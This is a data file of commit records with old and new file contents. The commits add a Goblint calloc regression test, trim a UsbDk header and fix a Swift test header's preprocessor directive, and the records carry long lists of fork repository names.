dcoin\/goldcoin,dscotese\/bitcoin,guncoin\/guncoin,keo\/bitcoin,Rav3nPL\/polcoin,loxal\/zcash,sirk390\/bitcoin,tedlz123\/Bitcoin,denverl\/bitcoin,LIMXTEC\/DMDv3,Petr-Economissa\/gvidon,Exceltior\/dogecoin,coinkeeper\/2015-06-22_19-00_ziftrcoin,hasanatkazmi\/bitcoin,peerdb\/cors,coinkeeper\/2015-06-22_19-13_florincoin,qubitcoin-project\/QubitCoinQ2C,BTCfork\/hardfork_prototype_1_mvf-core,funkshelper\/woodcore,metacoin\/florincoin,bitbrazilcoin-project\/bitbrazilcoin,rnicoll\/dogecoin,stamhe\/bitcoin,monacoinproject\/monacoin,prusnak\/bitcoin,phelix\/bitcoin,octocoin-project\/octocoin,48thct2jtnf\/P,destenson\/bitcoin--bitcoin,DSPay\/DSPay,gcc64\/bitcoin,h4x3rotab\/BTCGPU,Christewart\/bitcoin,tjth\/lotterycoin,experiencecoin\/experiencecoin,djpnewton\/bitcoin,ticclassic\/ic,aciddude\/Feathercoin,untrustbank\/litecoin,48thct2jtnf\/P,superjudge\/bitcoin,BitcoinPOW\/BitcoinPOW,dgarage\/bc2,jamesob\/bitcoin,jl2012\/litecoin,BTCDDev\/bitcoin,litecoin-project\/litecore-litecoin,elecoin\/elecoin,balajinandhu\/bitcoin,vmp32k\/litecoin,ohac\/sakuracoin,GreenParhelia\/bitcoin,Jeff88Ho\/bitcoin,whatrye\/twister-core,Mrs-X\/Darknet,ghostlander\/Feathercoin,steakknife\/bitcoin-qt,tripmode\/pxlcoin,senadmd\/coinmarketwatch,Electronic-Gulden-Foundation\/egulden,ionux\/freicoin,jamesob\/bitcoin,Alonzo-Coeus\/bitcoin,dobbscoin\/dobbscoin-source,nmarley\/dash,ekankyesme\/bitcoinxt,apoelstra\/elements,alexandrcoin\/vertcoin,nathaniel-mahieu\/bitcoin,SartoNess\/BitcoinUnlimited,coinkeeper\/anoncoin_20150330_fixes,jimblasko\/2015_UNB_Wallets,apoelstra\/bitcoin,goldcoin\/Goldcoin-GLD,JeremyRubin\/bitcoin,RyanLucchese\/energi,mycointest\/owncoin,DynamicCoinOrg\/DMC,truthcoin\/truthcoin-cpp,gandrewstone\/BitcoinUnlimited,axelxod\/braincoin,ohac\/sha1coin,TheBlueMatt\/bitcoin,joulecoin\/joulecoin,kleetus\/bitcoin,particl\/particl-core,marlengit\/BitcoinUnlimited,gazbert\/bitcoin,NateBrune\/bitcoin-fio,rnicoll\/bitcoin,bitcoinec\/bitcoinec,parvez3019\/bitcoin,wiggi\/huntercore,bitcoinsSG\/zcash,shomeser\/bitcoin,pstratem\/bitcoin,Alonzo-Coeus\/bitcoin,Enticed87\/Decipher,MitchellMintCoins\/AutoCoin,KibiCoin\/kibicoin,ixcoinofficialpage\/master,ripper234\/bitcoin,gazbert\/bitcoin,safecoin\/safecoin,capitalDIGI\/litecoin,scippio\/bitcoin,KnCMiner\/bitcoin,guncoin\/guncoin,Tetcoin\/tetcoin,hasanatkazmi\/bitcoin,nomnombtc\/bitcoin,accraze\/bitcoin,dpayne9000\/Rubixz-Coin,neutrinofoundation\/neutrino-digital-currency,faircoin\/faircoin,StarbuckBG\/BTCGPU,nightlydash\/darkcoin,ohac\/sha1coin,brightcoin\/brightcoin,ANCompany\/birdcoin-dev,funbucks\/notbitcoinxt,particl\/particl-core,litecoin-project\/litecoin,kleetus\/bitcoinxt,rnicoll\/dogecoin,trippysalmon\/bitcoin,HeliumGas\/helium,shomeser\/bitcoin,DSPay\/DSPay,dgenr8\/bitcoin,randy-waterhouse\/bitcoin,united-scrypt-coin-project\/unitedscryptcoin,MitchellMintCoins\/MortgageCoin,Dinarcoin\/dinarcoin,mikehearn\/bitcoin,pinkevich\/dash,jimblasko\/UnbreakableCoin-master,WorldcoinGlobal\/WorldcoinLegacy,BTCfork\/hardfork_prototype_1_mvf-bu,KnCMiner\/bitcoin,wcwu\/bitcoin,alecalve\/bitcoin,GroundRod\/anoncoin,trippysalmon\/bitcoin,Tetcoin\/tetcoin,Theshadow4all\/ShadowCoin,RHavar\/bitcoin,maaku\/bitcoin,haobtc\/bitcoin,HeliumGas\/helium,vcoin-project\/vcoin0.8zeta-dev,s-matthew-english\/bitcoin,whatrye\/twister-core,FrictionlessCoin\/iXcoin,TeamBitBean\/bitcoin-core,dan-mi-sun\/bitcoin,jnewbery\/bitcoin,earonesty\/bitcoin,jl2012\/litecoin,starwels\/starwels,ronpaulcoin\/ronpaulcoin,hophacker\/bitcoin_malleability,PIVX-Project\/PIVX,mrbandrews\/bitcoin,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,megacoin\/megacoin,viacoin\/viacoin,prusnak\/bitcoin,BitcoinPOW\/BitcoinPOW,argentumproject\/argentum,lakepay\/lake,coinkeeper\/2015-06-22_19-19_worldcoin,pdrobek\/Polcoin-1-3,dscotese\/bitcoin,jrick\/bitcoin,mammix2\/ccoin-dev,reorder\/viacoin,TierNolan\/bitcoin,franko-org\/franko,borgcoin\/Borgcoin.rar,compasscoin\/compasscoin,ivansib\/sibcoin,worldbit\/worldbit,Exgibichi\/statusquo,cyrixhero\/bitcoin,JeremyRand\/namecoin-core,error10\/bitcoin,blood2\/bloodcoin-0.9,vtafaucet\/virtacoin,Sjors\/bitcoin,wiggi\/huntercore,jrmithdobbs\/bitcoin,TeamBitBean\/bitcoin-core,dagurval\/bitcoinxt,coinkeeper\/2015-06-22_18-46_razor,syscoin\/syscoin2,Erkan-Yilmaz\/twister-core,xawksow\/GroestlCoin,Dajackal\/Ronpaulcoin,spiritlinxl\/BTCGPU,xurantju\/bitcoin,NateBrune\/bitcoin-fio,isghe\/bitcoinxt,bitcoinec\/bitcoinec,FeatherCoin\/Feathercoin,Alex-van-der-Peet\/bitcoin,sickpig\/BitcoinUnlimited,elliotolds\/bitcoin,alejandromgk\/Lunar,haobtc\/bitcoin,midnight-miner\/LasVegasCoin,cqtenq\/Feathercoin,kazcw\/bitcoin,Christewart\/bitcoin,DSPay\/DSPay,NicolasDorier\/bitcoin,coinkeeper\/2015-06-22_18-30_anoncoin,kseistrup\/twister-core,cheehieu\/bitcoin,namecoin\/namecore,dperel\/bitcoin,RazorLove\/cloaked-octo-spice,111t8e\/bitcoin,marcusdiaz\/BitcoinUnlimited,Bitcoin-ABC\/bitcoin-abc,11755033isaprimenumber\/Feathercoin,phelix\/bitcoin,se3000\/bitcoin,Metronotes\/bitcoin,dpayne9000\/Rubixz-Coin,Bluejudy\/worldcoin,superjudge\/bitcoin,MitchellMintCoins\/MortgageCoin,Thracky\/monkeycoin,n1bor\/bitcoin,genavarov\/brcoin,Earlz\/dobbscoin-source,btcdrak\/bitcoin,barcoin-project\/nothingcoin,zottejos\/merelcoin,constantine001\/bitcoin,marklai9999\/Taiwancoin,Bitcoinsulting\/bitcoinxt,PIVX-Project\/PIVX,Bluejudy\/worldcoin,appop\/bitcoin,multicoins\/marycoin,hyperwang\/bitcoin,Exgibichi\/statusquo,united-scrypt-coin-project\/unitedscryptcoin,aburan28\/elements,marlengit\/BitcoinUnlimited,miguelfreitas\/twister-core,steakknife\/bitcoin-qt,lclc\/bitcoin,Michagogo\/bitcoin,Bitcoinsulting\/bitcoinxt,constantine001\/bitcoin,deeponion\/deeponion,pastday\/bitcoinproject,ftrader-bitcoinabc\/bitcoin-abc,hasanatkazmi\/bitcoin,Megacoin2\/Megacoin,nsacoin\/nsacoin,Horrorcoin\/horrorcoin,DigiByte-Team\/digibyte,OstlerDev\/florincoin,zsulocal\/bitcoin,TripleSpeeder\/bitcoin,thrasher-\/litecoin,leofidus\/glowing-octo-ironman,jmcorgan\/bitcoin,jimmykiselak\/lbrycrd,arruah\/ensocoin,whatrye\/twister-core,cerebrus29301\/crowncoin,jarymoth\/dogecoin,Checkcoin\/checkcoin,oklink-dev\/litecoin_block,sugruedes\/bitcoinxt,Rav3nPL\/bitcoin,1185\/starwels,gandrewstone\/bitcoinxt,ahmedbodi\/vertcoin,dakk\/soundcoin,tropa\/axecoin,NicolasDorier\/bitcoin,Bitcoin-ABC\/bitcoin-abc,dexX7\/bitcoin,REAP720801\/bitcoin,stamhe\/bitcoin,ahmedbodi\/temp_vert,dgenr8\/bitcoin,unsystemizer\/bitcoin,Cocosoft\/bitcoin,millennial83\/bitcoin,CodeShark\/bitcoin,vbernabe\/freicoin,earonesty\/bitcoin,DGCDev\/digitalcoin,uphold\/bitcoin,droark\/elements,rromanchuk\/bitcoinxt,goku1997\/bitcoin,bcpki\/testblocks,Rav3nPL\/doubloons-08,capitalDIGI\/DIGI-v-0-10-4,1185\/starwels,sstone\/bitcoin,supcoin\/supcoin,zixan\/bitcoin,ddombrowsky\/radioshares,IlfirinCano\/shavercoin,mastercoin-MSC\/mastercore,CryptArc\/bitcoin,jaromil\/faircoin2,blood2\/bloodcoin-0.9,litecoin-project\/litecore-litecoin,royosherove\/bitcoinxt,willwray\/dash,trippysalmon\/bitcoin,sipa\/elements,bitcoin-hivemind\/hivemind,cheehieu\/bitcoin,starwalkerz\/fincoin-fork,rromanchuk\/bitcoinxt,Anfauglith\/iop-hd,funkshelper\/woodcore,rustyrussell\/bitcoin,coinkeeper\/2015-06-22_18-51_vertcoin,glv2\/peerunity,imharrywu\/fastcoin,PandaPayProject\/PandaPay,biblepay\/biblepay,therealaltcoin\/altcoin,afk11\/bitcoin,miguelfreitas\/twister-core,goku1997\/bitcoin,marlengit\/hardfork_prototype_1_mvf-bu,haraldh\/bitcoin,adpg211\/bitcoin-master,dexX7\/bitcoin,jrick\/bitcoin,experiencecoin\/experiencecoin,RongxinZhang\/bitcoinxt,fujicoin\/fujicoin,core-bitcoin\/bitcoin,Gazer022\/bitcoin,5mil\/Tradecoin,genavarov\/ladacoin,sickpig\/BitcoinUnlimited,terracoin\/terracoin,renatolage\/wallets-BRCoin,wekuiz\/wekoin,sugruedes\/bitcoinxt,grumpydevelop\/singularity,Bitcoin-ABC\/bitcoin-abc,privatecoin\/privatecoin,instagibbs\/bitcoin,Christewart\/bitcoin,jimmysong\/bitcoin,reddcoin-project\/reddcoin,bitpagar\/bitpagar,presstab\/PIVX,btcdrak\/bitcoin,janko33bd\/bitcoin,myriadcoin\/myriadcoin,nightlydash\/darkcoin,crowning-\/dash,jrmithdobbs\/bitcoin,BTCTaras\/bitcoin,rjshaver\/bitcoin,jonasnick\/bitcoin,ryanxcharles\/bitcoin,gravio-net\/graviocoin,midnightmagic\/bitcoin,se3000\/bitcoin,Petr-Economissa\/gvidon,ghostlander\/Feathercoin,qtumproject\/qtum,mm-s\/bitcoin,fedoracoin-dev\/fedoracoin,biblepay\/biblepay,TheBlueMatt\/bitcoin,cerebrus29301\/crowncoin,shouhuas\/bitcoin,uphold\/bitcoin,nlgcoin\/guldencoin-official,cculianu\/bitcoin-abc,litecoin-project\/bitcoinomg,11755033isaprimenumber\/Feathercoin,neutrinofoundation\/neutrino-digital-currency,Thracky\/monkeycoin,emc2foundation\/einsteinium,TBoehm\/greedynode,matlongsi\/micropay,dannyperez\/bolivarcoin,qtumproject\/qtum,dannyperez\/bolivarcoin,TeamBitBean\/bitcoin-core,meighti\/bitcoin,coinkeeper\/2015-06-22_19-00_ziftrcoin,zestcoin\/ZESTCOIN,UFOCoins\/ufo,vlajos\/bitcoin,zsulocal\/bitcoin,neutrinofoundation\/neutrino-digital-currency,Erkan-Yilmaz\/twister-core,matlongsi\/micropay,daliwangi\/bitcoin,cculianu\/bitcoin-abc,gandrewstone\/BitcoinUnlimited,OmniLayer\/omnicore,joulecoin\/joulecoin,Krellan\/bitcoin,Chancoin-core\/CHANCOIN,raasakh\/bardcoin.exe,omefire\/bitcoin,dexX7\/mastercore,koharjidan\/dogecoin,totallylegitbiz\/totallylegitcoin,Darknet-Crypto\/Darknet,spiritlinxl\/BTCGPU,Lucky7Studio\/bitcoin,elecoin\/elecoin,DogTagRecon\/Still-Leraning,JeremyRubin\/bitcoin,Lucky7Studio\/bitcoin,starwalkerz\/fincoin-fork,neuroidss\/bitcoin,jeromewu\/bitcoin-opennet,bitcoin-hivemind\/hivemind,gameunits\/gameunits,majestrate\/twister-core,xieta\/mincoin,DigiByte-Team\/digibyte,Exgibichi\/statusquo,GroestlCoin\/bitcoin,ahmedbodi\/terracoin,dogecoin\/dogecoin,midnightmagic\/bitcoin,ivansib\/sib16,jiangyonghang\/bitcoin,bitshares\/bitshares-pts,shelvenzhou\/BTCGPU,domob1812\/i0coin,jambolo\/bitcoin,lbrtcoin\/albertcoin,dmrtsvetkov\/flowercoin,Har01d\/bitcoin,CryptArc\/bitcoinxt,manuel-zulian\/accumunet,NateBrune\/bitcoin-nate,uphold\/bitcoin,zetacoin\/zetacoin,NateBrune\/bitcoin-fio,jnewbery\/bitcoin,lbrtcoin\/albertcoin,KillerByte\/memorypool,goku1997\/bitcoin,cinnamoncoin\/Feathercoin,digibyte\/digibyte,simdeveloper\/bitcoin,theuni\/bitcoin,cdecker\/bitcoin,ahmedbodi\/terracoin,haraldh\/bitcoin,gjhiggins\/vcoin09,Kore-Core\/kore,dashpay\/dash,millennial83\/bitcoin,kallewoof\/bitcoin,Flowdalic\/bitcoin,BenjaminsCrypto\/Benjamins-1,anditto\/bitcoin,cryptohelper\/premine,thelazier\/dash,MitchellMintCoins\/AutoCoin,cqtenq\/Feathercoin,midnightmagic\/bitcoin,bankonmecoin\/bitcoin,plankton12345\/litecoin,KaSt\/equikoin,syscoin\/syscoin,DynamicCoinOrg\/DMC,antcheck\/antcoin,isocolsky\/bitcoinxt,bitcoinxt\/bitcoinxt,thrasher-\/litecoin,shaolinfry\/litecoin,bitcoinsSG\/zcash,borgcoin\/Borgcoin1,vertcoin\/eyeglass,bcpki\/nonce2"}
{"commit":"a992328e40dcb0965270eb7609eae693e832e427","old_file":"tests\/regression\/11-heap\/12-calloc.c","new_file":"tests\/regression\/11-heap\/12-calloc.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.malloc.unique_address_count 1\n#include<assert.h>\n#include<stdlib.h>\nint main() {\n  int* arr = calloc(5,sizeof(int));\n  arr[0] = 3;\n  assert(arr[2] == 0); \/\/UNKNOWN\n}\n","subject":"Add example for unsoundness for calloc","message":"Add example for unsoundness for calloc\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"0687192cb8e4a5e89cddc0c8c7c49acf6d604cf7","old_file":"UsbDk\/RedirectorStrategy.h","new_file":"UsbDk\/RedirectorStrategy.h","old_contents":"#pragma once\n\n#include \"FilterStrategy.h\"\n\nclass CUsbDkRedirectorStrategy : public CUsbDkFilterStrategy\n{\npublic:\n    virtual NTSTATUS Create(CUsbDkFilterDevice *Owner) override\n    { return CUsbDkFilterStrategy::Create(Owner); }\n\n    virtual void Delete() override\n    {}\n\n    virtual NTSTATUS MakeAvailable() override;\n    virtual NTSTATUS PNPPreProcess(PIRP Irp) override;\n\nprivate:\n    static void PatchDeviceID(PIRP Irp);\n};\n","new_contents":"#pragma once\n\n#include \"FilterStrategy.h\"\n\nclass CUsbDkRedirectorStrategy : public CUsbDkFilterStrategy\n{\npublic:\n    virtual NTSTATUS MakeAvailable() override;\n    virtual NTSTATUS PNPPreProcess(PIRP Irp) override;\n\nprivate:\n    static void PatchDeviceID(PIRP Irp);\n};\n","subject":"Drop uneeded members of redirector strategy","message":"UsbDk: Drop uneeded members of redirector strategy\n\nSigned-off-by: Pavel Gurvich <2375fa63e2908bb2df59f606483a3aa92321db7a@daynix.com>\nSigned-off-by: Dmitry Fleytman <f50f56ffad4b379c2a89812e98b14900ef87e9ea@redhat.com>\n","lang":"C","license":"apache-2.0","repos":"SPICE\/win32-usbdk,freedesktop-unofficial-mirror\/spice__win32__usbdk,daynix\/UsbDk,freedesktop-unofficial-mirror\/spice__win32__usbdk,daynix\/UsbDk,freedesktop-unofficial-mirror\/spice__win32__usbdk,SPICE\/win32-usbdk"}
{"commit":"41de829555f2a17fddd0acae5307bb169be40897","old_file":"test\/ClangModules\/MixedSource\/Inputs\/mixed-framework\/Mixed.framework\/Headers\/Mixed.h","new_file":"test\/ClangModules\/MixedSource\/Inputs\/mixed-framework\/Mixed.framework\/Headers\/Mixed.h","old_contents":"struct PureClangType {\n  int x;\n  int y;\n};\n\n#ifndef SWIFT_CLASS_EXTRA\n#  define SWIFT_CLASS_EXTRA\n#endif\n\n#ifndef SWIFT_CLASS(SWIFT_NAME)\n#  define SWIFT_CLASS(SWIFT_NAME) SWIFT_CLASS_EXTRA\n#endif\n\nSWIFT_CLASS(\"SwiftClass\")\n__attribute__((objc_root_class))\n@interface SwiftClass\n@end\n\n@interface SwiftClass (Category)\n- (void)categoryMethod:(struct PureClangType)arg;\n@end\n\n\nSWIFT_CLASS(\"BOGUS\")\n@interface BogusClass\n@end\n","new_contents":"struct PureClangType {\n  int x;\n  int y;\n};\n\n#ifndef SWIFT_CLASS_EXTRA\n#  define SWIFT_CLASS_EXTRA\n#endif\n\n#ifndef SWIFT_CLASS\n#  define SWIFT_CLASS(SWIFT_NAME) SWIFT_CLASS_EXTRA\n#endif\n\nSWIFT_CLASS(\"SwiftClass\")\n__attribute__((objc_root_class))\n@interface SwiftClass\n@end\n\n@interface SwiftClass (Category)\n- (void)categoryMethod:(struct PureClangType)arg;\n@end\n\n\nSWIFT_CLASS(\"BOGUS\")\n@interface BogusClass\n@end\n","subject":"Remove useless tokens at the end of a preprocessor directive","message":"Remove useless tokens at the end of a preprocessor directive\n\nSwift SVN r24386\n","lang":"C","license":"apache-2.0","repos":"austinzheng\/swift,slavapestov\/swift,devincoughlin\/swift,khizkhiz\/swift,parkera\/swift,Ivacker\/swift,huonw\/swift,JGiola\/swift,khizkhiz\/swift,dduan\/swift,brentdax\/swift,kperryua\/swift,harlanhaskins\/swift,emilstahl\/swift,hughbe\/swift,uasys\/swift,codestergit\/swift,felix91gr\/swift,huonw\/swift,adrfer\/swift,shajrawi\/swift,KrishMunot\/swift,tardieu\/swift,tardieu\/swift,russbishop\/swift,parkera\/swift,dduan\/swift,danielmartin\/swift,rudkx\/swift,nathawes\/swift,airspeedswift\/swift,sschiau\/swift,frootloops\/swift,JaSpa\/swift,swiftix\/swift.old,alblue\/swift,sdulal\/swift,apple\/swift,calebd\/swift,jopamer\/swift,therealbnut\/swift,shajrawi\/swift,sdulal\/swift,SwiftAndroid\/swift,ken0nek\/swift,ken0nek\/swift,ahoppen\/swift,gribozavr\/swift,apple\/swift,lorentey\/swift,KrishMunot\/swift,johnno1962d\/swift,swiftix\/swift.old,mightydeveloper\/swift,kusl\/swift,jopamer\/swift,Ivacker\/swift,cbrentharris\/swift,austinzheng\/swift,natecook1000\/swift,gottesmm\/swift,hooman\/swift,brentdax\/swift,swiftix\/swift,CodaFi\/swift,benlangmuir\/swift,kentya6\/swift,gregomni\/swift,deyton\/swift,xwu\/swift,atrick\/swift,jtbandes\/swift,harlanhaskins\/swift,alblue\/swift,Jnosh\/swift,deyton\/swift,gmilos\/swift,arvedviehweger\/swift,benlangmuir\/swift,zisko\/swift,brentdax\/swift,xedin\/swift,mightydeveloper\/swift,practicalswift\/swift,arvedviehweger\/swift,natecook1000\/swift,alblue\/swift,jtbandes\/swift,emilstahl\/swift,djwbrown\/swift,practicalswift\/swift,huonw\/swift,danielmartin\/swift,alblue\/swift,LeoShimonaka\/swift,tjw\/swift,adrfer\/swift,manavgabhawala\/swift,ben-ng\/swift,airspeedswift\/swift,xedin\/swift,lorentey\/swift,slavapestov\/swift,kentya6\/swift,allevato\/swift,aschwaighofer\/swift,tinysun212\/swift-windows,bitjammer\/swift,ahoppen\/swift,airspeedswift\/swift,austinzheng\/swift,brentdax\/swift,MukeshKumarS\/Swift,parkera\/swift,Ivacker\/swift,gottesmm\/swift,glessard\/swift,emilstahl\/swift,devincoughlin\/swift,alblue\/swift,mightydeveloper\/swift,kentya6\/swift,swiftix\/swift,tinysun212\/swift-windows,hughbe\/swift,benlangmuir\/swift,LeoShimonaka\/swift,johnno1962d\/swift,kperryua\/swift,adrfer\/swift,tinysun212\/swift-windows,jckarter\/swift,kstaring\/swift,kusl\/swift,xwu\/swift,allevato\/swift,practicalswift\/swift,dduan\/swift,amraboelela\/swift,gmilos\/swift,shajrawi\/swift,natecook1000\/swift,zisko\/swift,arvedviehweger\/swift,gribozavr\/swift,gregomni\/swift,JGiola\/swift,SwiftAndroid\/swift,gmilos\/swift,LeoShimonaka\/swift,roambotics\/swift,kperryua\/swift,kentya6\/swift,jckarter\/swift,deyton\/swift,manavgabhawala\/swift,return\/swift,ahoppen\/swift,djwbrown\/swift,khizkhiz\/swift,tardieu\/swift,felix91gr\/swift,OscarSwanros\/swift,rudkx\/swift,JaSpa\/swift,slavapestov\/swift,kusl\/swift,kstaring\/swift,adrfer\/swift,Jnosh\/swift,gribozavr\/swift,swiftix\/swift.old,MukeshKumarS\/Swift,kstaring\/swift,ben-ng\/swift,felix91gr\/swift,JGiola\/swift,xwu\/swift,aschwaighofer\/swift,zisko\/swift,milseman\/swift,alblue\/swift,ken0nek\/swift,JaSpa\/swift,xwu\/swift,aschwaighofer\/swift,frootloops\/swift,sschiau\/swift,IngmarStein\/swift,airspeedswift\/swift,russbishop\/swift,slavapestov\/swift,JGiola\/swift,natecook1000\/swift,Ivacker\/swift,gregomni\/swift,devincoughlin\/swift,jtbandes\/swift,modocache\/swift,danielmartin\/swift,xwu\/swift,LeoShimonaka\/swift,therealbnut\/swift,CodaFi\/swift,JaSpa\/swift,kperryua\/swift,slavapestov\/swift,danielmartin\/swift,MukeshKumarS\/Swift,uasys\/swift,glessard\/swift,allevato\/swift,ken0nek\/swift,djwbrown\/swift,jckarter\/swift,cbrentharris\/swift,jtbandes\/swift,khizkhiz\/swift,jopamer\/swift,benlangmuir\/swift,austinzheng\/swift,nathawes\/swift,aschwaighofer\/swift,hooman\/swift,tkremenek\/swift,apple\/swift,gmilos\/swift,kstaring\/swift,kperryua\/swift,tkremenek\/swift,nathawes\/swift,johnno1962d\/swift,calebd\/swift,tjw\/swift,roambotics\/swift,ahoppen\/swift,russbishop\/swift,alblue\/swift,IngmarStein\/swift,KrishMunot\/swift,roambotics\/swift,stephentyrone\/swift,dduan\/swift,gottesmm\/swift,hooman\/swift,xwu\/swift,kusl\/swift,amraboelela\/swift,mightydeveloper\/swift,milseman\/swift,arvedviehweger\/swift,practicalswift\/swift,SwiftAndroid\/swift,tinysun212\/swift-windows,jopamer\/swift,ben-ng\/swift,zisko\/swift,milseman\/swift,devincoughlin\/swift,modocache\/swift,harlanhaskins\/swift,kusl\/swift,milseman\/swift,mightydeveloper\/swift,shahmishal\/swift,ben-ng\/swift,aschwaighofer\/swift,khizkhiz\/swift,zisko\/swift,kperryua\/swift,MukeshKumarS\/Swift,sdulal\/swift,emilstahl\/swift,harlanhaskins\/swift,parkera\/swift,ahoppen\/swift,khizkhiz\/swift,gregomni\/swift,practicalswift\/swift,roambotics\/swift,cbrentharris\/swift,amraboelela\/swift,russbishop\/swift,tjw\/swift,sschiau\/swift,hughbe\/swift,jmgc\/swift,gmilos\/swift,swiftix\/swift,arvedviehweger\/swift,jmgc\/swift,emilstahl\/swift,roambotics\/swift,shahmishal\/swift,jmgc\/swift,swiftix\/swift,Ivacker\/swift,Ivacker\/swift,lorentey\/swift,harlanhaskins\/swift,tardieu\/swift,apple\/swift,shahmishal\/swift,emilstahl\/swift,practicalswift\/swift,lorentey\/swift,return\/swift,gregomni\/swift,bitjammer\/swift,atrick\/swift,SwiftAndroid\/swift,harlanhaskins\/swift,KrishMunot\/swift,shajrawi\/swift,MukeshKumarS\/Swift,kentya6\/swift,bitjammer\/swift,OscarSwanros\/swift,gribozavr\/swift,atrick\/swift,uasys\/swift,adrfer\/swift,milseman\/swift,karwa\/swift,nathawes\/swift,MukeshKumarS\/Swift,stephentyrone\/swift,parkera\/swift,shajrawi\/swift,adrfer\/swift,jopamer\/swift,Jnosh\/swift,tardieu\/swift,apple\/swift,stephentyrone\/swift,therealbnut\/swift,gribozavr\/swift,nathawes\/swift,shahmishal\/swift,jckarter\/swift,sschiau\/swift,kstaring\/swift,swiftix\/swift,amraboelela\/swift,ken0nek\/swift,deyton\/swift,therealbnut\/swift,xwu\/swift,hooman\/swift,xedin\/swift,therealbnut\/swift,frootloops\/swift,zisko\/swift,practicalswift\/swift,cbrentharris\/swift,LeoShimonaka\/swift,lorentey\/swift,codestergit\/swift,CodaFi\/swift,aschwaighofer\/swift,deyton\/swift,modocache\/swift,nathawes\/swift,harlanhaskins\/swift,modocache\/swift,rudkx\/swift,tkremenek\/swift,tinysun212\/swift-windows,ken0nek\/swift,hughbe\/swift,felix91gr\/swift,apple\/swift,cbrentharris\/swift,deyton\/swift,CodaFi\/swift,OscarSwanros\/swift,OscarSwanros\/swift,tkremenek\/swift,SwiftAndroid\/swift,codestergit\/swift,slavapestov\/swift,xedin\/swift,shahmishal\/swift,jmgc\/swift,karwa\/swift,glessard\/swift,jopamer\/swift,manavgabhawala\/swift,swiftix\/swift.old,sdulal\/swift,deyton\/swift,swiftix\/swift.old,sdulal\/swift,Jnosh\/swift,atrick\/swift,dduan\/swift,codestergit\/swift,tkremenek\/swift,hooman\/swift,bitjammer\/swift,uasys\/swift,djwbrown\/swift,SwiftAndroid\/swift,bitjammer\/swift,felix91gr\/swift,stephentyrone\/swift,tkremenek\/swift,gottesmm\/swift,jmgc\/swift,ben-ng\/swift,tinysun212\/swift-windows,Jnosh\/swift,bitjammer\/swift,allevato\/swift,dduan\/swift,jmgc\/swift,CodaFi\/swift,austinzheng\/swift,return\/swift,return\/swift,MukeshKumarS\/Swift,stephentyrone\/swift,OscarSwanros\/swift,cbrentharris\/swift,calebd\/swift,shahmishal\/swift,codestergit\/swift,ken0nek\/swift,hughbe\/swift,devincoughlin\/swift,roambotics\/swift,sschiau\/swift,gottesmm\/swift,jckarter\/swift,karwa\/swift,LeoShimonaka\/swift,kstaring\/swift,djwbrown\/swift,KrishMunot\/swift,cbrentharris\/swift,modocache\/swift,airspeedswift\/swift,emilstahl\/swift,benlangmuir\/swift,sschiau\/swift,IngmarStein\/swift,gottesmm\/swift,jtbandes\/swift,arvedviehweger\/swift,airspeedswift\/swift,parkera\/swift,sdulal\/swift,atrick\/swift,swiftix\/swift.old,djwbrown\/swift,austinzheng\/swift,huonw\/swift,cbrentharris\/swift,kperryua\/swift,brentdax\/swift,stephentyrone\/swift,manavgabhawala\/swift,karwa\/swift,danielmartin\/swift,mightydeveloper\/swift,devincoughlin\/swift,johnno1962d\/swift,milseman\/swift,ahoppen\/swift,russbishop\/swift,glessard\/swift,jckarter\/swift,stephentyrone\/swift,tinysun212\/swift-windows,airspeedswift\/swift,swiftix\/swift,return\/swift,JGiola\/swift,modocache\/swift,jtbandes\/swift,IngmarStein\/swift,IngmarStein\/swift,jckarter\/swift,karwa\/swift,bitjammer\/swift,OscarSwanros\/swift,danielmartin\/swift,russbishop\/swift,hooman\/swift,karwa\/swift,arvedviehweger\/swift,johnno1962d\/swift,gottesmm\/swift,manavgabhawala\/swift,glessard\/swift,danielmartin\/swift,frootloops\/swift,tjw\/swift,rudkx\/swift,ben-ng\/swift,parkera\/swift,kusl\/swift,frootloops\/swift,rudkx\/swift,kentya6\/swift,allevato\/swift,aschwaighofer\/swift,codestergit\/swift,johnno1962d\/swift,SwiftAndroid\/swift,karwa\/swift,atrick\/swift,shahmishal\/swift,JaSpa\/swift,milseman\/swift,frootloops\/swift,calebd\/swift,kstaring\/swift,gmilos\/swift,kusl\/swift,swiftix\/swift.old,austinzheng\/swift,uasys\/swift,OscarSwanros\/swift,xedin\/swift,huonw\/swift,adrfer\/swift,johnno1962d\/swift,sschiau\/swift,gribozavr\/swift,hooman\/swift,swiftix\/swift,jtbandes\/swift,khizkhiz\/swift,slavapestov\/swift,calebd\/swift,IngmarStein\/swift,dduan\/swift,frootloops\/swift,sdulal\/swift,djwbrown\/swift,russbishop\/swift,therealbnut\/swift,Jnosh\/swift,Jnosh\/swift,kentya6\/swift,JaSpa\/swift,calebd\/swift,gregomni\/swift,codestergit\/swift,devincoughlin\/swift,xedin\/swift,JaSpa\/swift,KrishMunot\/swift,shajrawi\/swift,dreamsxin\/swift,return\/swift,shajrawi\/swift,tardieu\/swift,return\/swift,rudkx\/swift,swiftix\/swift.old,uasys\/swift,devincoughlin\/swift,kusl\/swift,glessard\/swift,tardieu\/swift,amraboelela\/swift,felix91gr\/swift,karwa\/swift,jmgc\/swift,gribozavr\/swift,modocache\/swift,hughbe\/swift,brentdax\/swift,sdulal\/swift,parkera\/swift,lorentey\/swift,gribozavr\/swift,KrishMunot\/swift,natecook1000\/swift,tjw\/swift,nathawes\/swift,huonw\/swift,xedin\/swift,allevato\/swift,Ivacker\/swift,shahmishal\/swift,JGiola\/swift,shajrawi\/swift,zisko\/swift,gmilos\/swift,lorentey\/swift,mightydeveloper\/swift,uasys\/swift,practicalswift\/swift,natecook1000\/swift,felix91gr\/swift,calebd\/swift,tjw\/swift,hughbe\/swift,dreamsxin\/swift,allevato\/swift,lorentey\/swift,manavgabhawala\/swift,brentdax\/swift,amraboelela\/swift,LeoShimonaka\/swift,huonw\/swift,LeoShimonaka\/swift,jopamer\/swift,tkremenek\/swift,CodaFi\/swift,therealbnut\/swift,amraboelela\/swift,emilstahl\/swift,tjw\/swift,sschiau\/swift,kentya6\/swift,CodaFi\/swift,benlangmuir\/swift,ben-ng\/swift,IngmarStein\/swift,xedin\/swift,natecook1000\/swift,mightydeveloper\/swift,manavgabhawala\/swift,Ivacker\/swift"}
